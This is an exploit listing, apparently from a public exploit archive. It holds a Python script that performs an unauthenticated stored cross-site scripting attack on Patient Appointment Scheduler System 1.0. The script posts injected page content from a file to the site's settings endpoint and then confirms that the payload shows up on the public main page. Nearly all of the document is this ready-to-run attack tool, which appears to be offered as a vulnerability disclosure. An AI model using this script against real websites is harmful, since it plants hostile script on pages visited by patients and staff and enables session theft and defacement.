Patient Appointment Scheduler System 1.0 Cross Site Scripting

`# Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS  
# Date: 03/09/2021  
# Exploit Author: a-rey   
# Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14928  
# Version: v1.0  
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0  
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md  
  
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
import os  
import logging  
import requests  
import argparse  
  
BANNER = """  
╔═══════════════════════════════════════════════════════════════════╗  
║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║  
╚═══════════════════════════════════════════════════════════════════╝  
by: \033[0m\033[1;31m █████╗ ██████╗ ███████╗██╗ ██╗\033[0m  
\033[0m\033[1;32m██╔══██╗ ██╔══██╗██╔════╝██║ ██║\033[0m  
\033[0m\033[1;33m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝\033[0m  
\033[0m\033[1;34m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[0m  
\033[0m\033[1;35m██║ ██║ ██║ ██║███████╗ ██║ \033[0m  
\033[0m\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m  
"""  
  
  
def exploit(url:str, file:str) -> None:  
if not os.path.exists(file):  
logging.error(f'{file} does not exist?')  
return  
logging.info(f'reading {file} for XSS content ...')  
with open(file, 'r') as f:  
xssPayload = f.read()  
logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')  
r = requests.post(url + '/classes/SystemSettings.php',   
data={'about_us' : xssPayload},   
params={'f' : 'update_settings'},  
verify=False  
)  
if not r.ok:  
logging.error('HTTP request failed')  
return  
logging.info('checking for XSS payload on main page ...')  
r = requests.get(url)  
if xssPayload not in r.text:  
logging.error(f'XSS injection failed? received: {r.text}')  
logging.warning('maybe about.html is not writable?')  
return  
logging.success('XSS payload found on target website')  
return  
  
  
if __name__ == '__main__':  
# parse arguments  
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)  
parser.add_argument('-u', '--url', help='website URL', type=str, required=True)  
parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True)  
parser.add_argument('--debug', help='enable debugging output', action='store_true', default=False)  
args = parser.parse_args()  
# define logger  
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')  
logging.SUCCESS = logging.CRITICAL + 1  
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')  
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')  
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')  
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')  
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)  
# print banner  
print(BANNER)  
# run exploit  
exploit(args.url, args.file)  
  
  
`